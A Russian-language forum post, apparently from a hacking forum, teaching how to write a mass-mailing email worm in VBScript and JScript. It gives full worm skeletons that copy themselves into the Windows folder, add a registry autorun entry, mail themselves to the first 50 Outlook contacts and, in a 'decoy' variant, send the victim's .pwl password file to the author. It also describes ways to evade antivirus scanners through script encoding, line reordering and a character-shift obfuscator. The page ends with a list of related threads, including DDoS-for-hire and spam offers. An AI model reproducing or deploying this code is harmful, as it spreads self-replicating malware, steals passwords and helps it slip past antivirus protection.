Почтовый червь на VBScript

  • Автор темы T0pDro4eR
  • Дата начала
T

T0pDro4eR

Необходимость в создании нового командного языка возникла при переходе на платформу Win9x и NT, так как старые .bat файлы уже не могли обеспечить должной гибкости при автоматизации процессов настройки операционной среды. Был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python.

Как ни хороши скриптовые языки, много с ними не сотворишь. Они неспособны, повлиять на что-либо за пределами родного скрипта. Эти языки не имеют прямых инструкций, позволяющих читать и записывать файлы на диске, выводить информацию в командную строку, изменять записи в реестре и так далее.

Чтобы справиться с такими задачами, нужно воспользоваться дополнительными COM – объектами. Ряд таких объектов входит в поставку WSH, а один из них, WScript, даже уже имеет созданный экземпляр, и им можно пользоваться непосредственно, без предварительного создания. Остальные создаются с помощью синтаксиса, соответствующего конкретному языку или функции WScript.CreateObject. Подробнее о WSH можно прочитать здесь.



Написание
Настало время перейти непосредственно к описанию программного кода. Для написания примеров будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.

Option Explicit<

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.

Теперь опишем третью и четвертую строки примера:



Set FileSysObject = CreateObject ("Scripting.FileSystemObject")



Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.

Скопируем скрипт в c:\windows, для дальнейшего использования.

File.Copy ("c:\windows\I_am_virus.vbs")

Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.

Dim WshShell

Set WshShell = WScript.CreateObject("WScript.Shell")

Теперь мы смело можем управлять захваченным компьютером.

Сначала пропишем свой "страшный вирус" в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.

WshShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows _

\CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"

Следующий шаг за вашей фантазией, можно скопировать из интернета более сложный вирус и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.

И, наконец, мы переходим к "сердцу" каждого интернет – червя, процедуре рассылки.

Создаем ссылку на объект самого распространенного почтового клиента Outlook.

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.

For Index = 1 To 50

Создадим новое почтовое сообщение

Set OutMail = OutlookObject.CreateItem(0)


В поле "Кому" занесем адрес из адресной книги

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

В поле "Тема" вставим тему сообщения

OutMail.Subject = "Тема сообщения"

Добавим текст сообщения

OutMail.Body = "Тело сообщения"

Прикрепим скрипт

OutMail.Attachments.Add(WScript.ScriptFullName)

И отправим его

OutMail.Send



Каркас E-mail worm:
On Error Resume Next

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

For Index = 1 To 50

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add(WScript.ScriptFullName)

OutMail.Send

Next




Каркас обманки:
On Error Resume Next

Dim FileSysObject, File

Set FileSysObject = CreateObject ("Scripting.FileSystemObject")

Set File = FileSysObject.GetFile(WScript.ScriptFullName)

File.Copy ("c:\windows\I_am_virus.vbs")

Dim WshShell

Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.RegWrite

"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _

CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs"

Dim OutlookObject, OutMail, Index

Set OutlookObject = CreateObject("Outlook.Application")

For Index = 1 To 50

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add(WScript.ScriptFullName)

OutMail.Send

Next

Set OutMail = OutlookObject.CreateItem(0)

OutMail.to = "Ваш E-mail"

OutMail.Subject = "Тема сообщения"

OutMail.Body = "Тело сообщения"

OutMail.Attachments.Add("Путь к .pwl файлу")

OutMail.Send

JScript
Cравнив возможности VBScript и JScript станет понятно, что они идентичны и отличаются только синтаксисом языка.

Поэтому можно писать червя как на JScript так и на VBScript. Тут уже кому как удобнее будет



Каркас E-mail worm:
var fileSysObject, file;

fileSysObject = new ActiveXObject("Scripting.FileSystemObject");

file = fileSysObject.GetFile(WScript.ScriptFullName);

var outlookObject, outMail, index;

outlookObject = new ActiveXObject("Outlook.Application");

for (index = 1; index < 50; index++){

outMail = outlookObject.CreateItem(0);

outMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

OutMail.Attachments.Add(WScript.ScriptFullName);

outMail.Send;}



Каркас обманки:
var fileSysObject, file;

fileSysObject = new ActiveXObject("Scripting.FileSystemObject");

file = fileSysObject.GetFile(WScript.ScriptFullName);

file.Copy("c:\windows\I_am_virus.vbs");

var wshShell;

wshShell = new ActiveXObject("WScript.Shell");

wshShell.RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ _

CurrentVersion\RunServices\virus", "c:\windows\I_am_virus.vbs");

var outlookObject, outMail, index;

outlookObject = new ActiveXObject("Outlook.Application");

for (index = 1; index < 50; index++){

outMail = outlookObject.CreateItem(0);

outMail.to =

OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(index);

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

OutMail.Attachments.Add(WScript.ScriptFullName);

outMail.Send;}

outMail = outlookObject.CreateItem(0);

outMail.to = "Ваш E-mail";

outMail.Subject = "Тема сообщения";

outMail.Body = "Тело сообщения";

outMail.Attachments.Add("Путь к .pwl файлу");

outMail.Send;

Однако при выполнении скрипта Script Checker выдает сообщение, что этот файл возможно содержит вирус и заблокирует его выполнение при первой удобной возможности. Все связано с тем, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого можно весьма легким путём а именно, закодировав скрипт программой MS Windows Script Encoder.

И тут нам уже не сможет противостоять ни один из столь пупулярных антивирусов как: Norton AntiVirus, AVP.

На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.



Как обмануть AVP Script Checker
Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более простых методов.

Практически все программы защиты от вирусов работают по одному и тому же принципу, они сравнивают файлы с имеющимися в базе данных участками вирусов, так называемыми сигнатурами. По аналогичному алгоритму работает и AVP Script checker, который после предварительной компиляции просматривает файл, и ищет "знакомые места". Однако в отличие от компиляторов мощных программных продуктов cscript.exe проводит только предварительную компиляцию, без редактирования исходного кода, и поэтому, немного изменив исходный код ранее написанного вируса можно легко обойти защиту.

За основу возьмем каркас почтового червя на VBScript.

Начнем с самого простого метода, изменения порядка выполнения, добавления пробелов и пустых строк.

Заменяем

Код:
OutMail.to = OutlookObject.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)



на OutMail.to = "Адресс E-mail", для безопасности, и сохраняем.



AVP "говорит": обнаружена новая модификация вируса I-Worm VBS.Fool.



Убираем строку Set File = FileSysObject.GetFile(WScript.ScriptFullName), он замолчал, значит, антивирус реагирует именно на присутствие этой строки. Меняем местами строки и получаем:



Dim FileSysObject, File



Set FileSysObject = CreateObject ("Scripting.FileSystemObject")



Dim OutlookObject, OutMail, Index



Set OutlookObject = CreateObject("Outlook.Application")



Set File = FileSysObject.GetFile(WScript.ScriptFullName)



AVP Script checker не реагирует.



Можно просто изменить проблемную строку следующим образом:



Set File = FileSysObject. _



GetFile(WScript. _



ScriptFullName)



Эффект тот же, надо только поэкспериментировать. В коде I-Worm VBS.HappyTime в начало файла добавлено 35 пустых строк и этого хватило, чтобы антивирус не распознал его.



Существуют и более сложные методы, например кодирование тела вируса. Ярким примером этого послужил I-Worm VBS.Homepage в котором основной код был закодирован следующим образом:



DeCode("Кодированное тело Homepage")



Function DeCode(Coded)



For I = 1 To Len(Coded)



CurChar= Mid(Coded, I, 1)



If Asc(CurChar) = 15 Then



CurChar= Chr(10)



ElseIf Asc(CurChar) = 16 Then



CurChar= Chr(13)



ElseIf Asc(CurChar) = 17 Then



CurChar= Chr(32)



ElseIf Asc(CurChar) = 18 Then



CurChar= Chr(9)



Else



CurChar = Chr(Asc(CurChar) - 2)



End If



DeCode = DeCode & CurChar



Next



End Function
В результате чего, довольно простенький скрипт заразил миллионы компьютеров по всему миру.

Следующим шагом будет написание на VBS полиморфика, скрипта способного видоизменять свой код по мере необходимости.



Заключение
К недовольству "настоящих вирусописателей", считающих скриптовые технологии забавой для ламеров, количество вирусов использующих эту технологию неуклонно растет. Это связанно с простотой реализации и интегрированностью в операционную систему, с помощью скриптов можно полностью управлять системой, запускать и останавливать процессы, удаленно создавать и удалять пользователей, править файлы, и много чего еще...
 
Похожие темы
Support81 Швейцарская иллюзия безопасности: что скрывает почтовый сервис ProtonMail от своих пользователей? Новости в сети 0
T Email Fucker — многопоточный почтовый спамер Полезные статьи 2
K Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
М свежий Почтовый доступ Раздачи и сливы 0
A Как взломать почтовый ящик Полезные статьи 0
Support81 Новый USB-червь "LitterDrifter" выявлен в целевых атаках Новости в сети 0
S Червь самораспостроняющийся или способ распостронения. Готовый софт 30
turbion0 Мошенничество на 11 миллионов рублей: в Красноярске арестовали звезд сборной России по санному спорту Новости в сети 0
Support81 Вы отключали Cloudflare во время сбоя? Срочно проверьте логи на предмет взлома Новости в сети 0
Support81 Этичный хакинг? Забудьте. США готовят рои ИИ-агентов для атаки на Китай Новости в сети 0
Support81 Один взлом — минус ВВП: убытки после атаки на JLR стали главной причиной замедления экономиики Великобритании Новости в сети 0
Support81 Перевод крупной суммы по СБП на свой же счёт будет расцениваться банком как подозрительный Новости в сети 0
Support81 12 из 13 — столько популярных антивирусов (включая ESET, Avast и Касперский) провалили тест на шпионское ПО Новости в сети 0
Support81 Резюме с сюрпризом: хакеры из APT-C-60 массово «устраиваются на работу» в японские компании Новости в сети 0
Support81 Карьера в Тбилиси не задалась. Гражданин ФРГ меняет грузинское гостеприимство на немецкую тюрьму Новости в сети 0
Support81 Хакеры больше не воруют данные — они грабят фуры. Удаленно. На кону $34 миллиарда Новости в сети 0
Support81 Чертежи «Железного луча» на продажу. Хакеры заявили о краже секретных чертежей лазерной системы ПРО Израиля Новости в сети 0
Support81 От домофона до $256 тысяч в сумке. Москвичку обманули на 28 миллионов Новости в сети 1
Support81 Миф об «одноразовом» телефоне: эксперимент на Reddit показал, почему приватности больше не существует Новости в сети 0
Support81 Главы разведки на допросе. Дело о прослушке Paragon Новости в сети 0
Support81 Шифрование — прошлый век: киберпреступники переходят на новую модель вымогательства Новости в сети 0
Support81 «Битва ИИ» на крипторынке. Китайский DeepSeek лидирует, заработав 35%. Новости в сети 0
Support81 «Ага, туннель! Придушим». Ваш VPN тоже лагает на 4G? Объясняем, как операторы видят ваш трафик (и что с этим делать) Новости в сети 0
turbion0 Мошенники похищают аккаунты на «Госуслугах» через объявления Новости в сети 0
Support81 Уязвимость в SMS на смартфоне — и АНБ захватило контроль над временем всего Китая Новости в сети 0
Support81 США конфисковали криптовалюту на сумму 15 миллиардов долларов у главаря «свиного фарма» Новости в сети 0
Red1997 Продам Крипто-Биржа | 9 Языков | Похожая на ByBit Сайты/Хостинг/Сервера 0
Support81 С виду — офис инвестиционной компании. На деле — 80 мошенников с 204 мониторами для обмана жертв Новости в сети 0
Support81 Россия — цель №1 для хакеров. На страну приходится до 72% всех кибератак в СНГ. Новости в сети 0
Support81 56 человек и 1,2 млн сим-карт. Минцифры наткнулось на армию теневых абонентов Новости в сети 0
Support81 На Украине атакована ключевая фигура, стоящая за крупным русскоязычным форумом киберпреступности Новости в сети 1
wrangler65 Атаки на беспроводные сети Уязвимости и взлом 0
Support81 Вредоносное расширение VSCode в Cursor IDE привело к краже криптовалюты на сумму 500 тысяч долларов Новости в сети 0
wrangler65 RemoteWA Охота на пользователей Whatsapp Анонимность и приватность 0
Support81 Национальное агентство по борьбе с преступностью (NCA) Великобритании арестовало четырех человек, подозреваемых в причастности к кибератакам на крупны Новости в сети 0
Support81 Идеальное оружие для киберпреступников: нейросети заставляют вас самих кликать на фишинговые ловушки Новости в сети 0
Support81 Microsoft снова сыграла на руку хакерам — корпоративные сети ломают через официальный софт Новости в сети 0
wrangler65 Повлияет ли введение цифровой валюты Центробанка на кардинг? Полезные статьи 0
Support81 Британскому хакеру IntelBroker предъявлены обвинения в киберпреступлениях на сумму 25 млн долларов Новости в сети 0
Support81 Telegram победил рынок фрода на $35 млрд… но всего на пару дней Новости в сети 0
АнАлЬнАя ЧуПаКаБрА 1win разбитый на ГЕО 71kk Раздачи и сливы 0
Support81 Настройка Postfix&DKIM на сервере Ubuntu Полезные статьи 0
Kain Проверено Предоставляю DDOS атаки на сайты и сервера. Спам / Флуд / Ддос 1
Support81 Ваш VPN будет стучать на вас. Где мы свернули не туда? Новости в сети 0
Support81 МВД требует срочных полномочий — банкам дадут три дня на ответ, а полиции — доступ к звонкам Новости в сети 0
Support81 Разборка в даркнете закончилась падением GitLab, утечками Web3 и атаками на банки Новости в сети 0
whiteside Продам ОРГАНИЗУЮ DDOS АТАКУ НА САЙ ТВОЕГО КОНКУРЕНТА Спам / Флуд / Ддос 0
Support81 Открываешь Zenmap — запускаешь Bumblebee. Добро пожаловать на новый уровень социальной инженерии Новости в сети 0
Support81 Cetus Protocol обокрали на $223 млн, и теперь они умоляют хакера отдать хотя бы часть — за амнистию и чай Новости в сети 0
Support81 Письмо от «шефа», фальшивая переписка и счёт на услуги — как российские компании теряют деньги, не заметив подмены Новости в сети 0

Название темы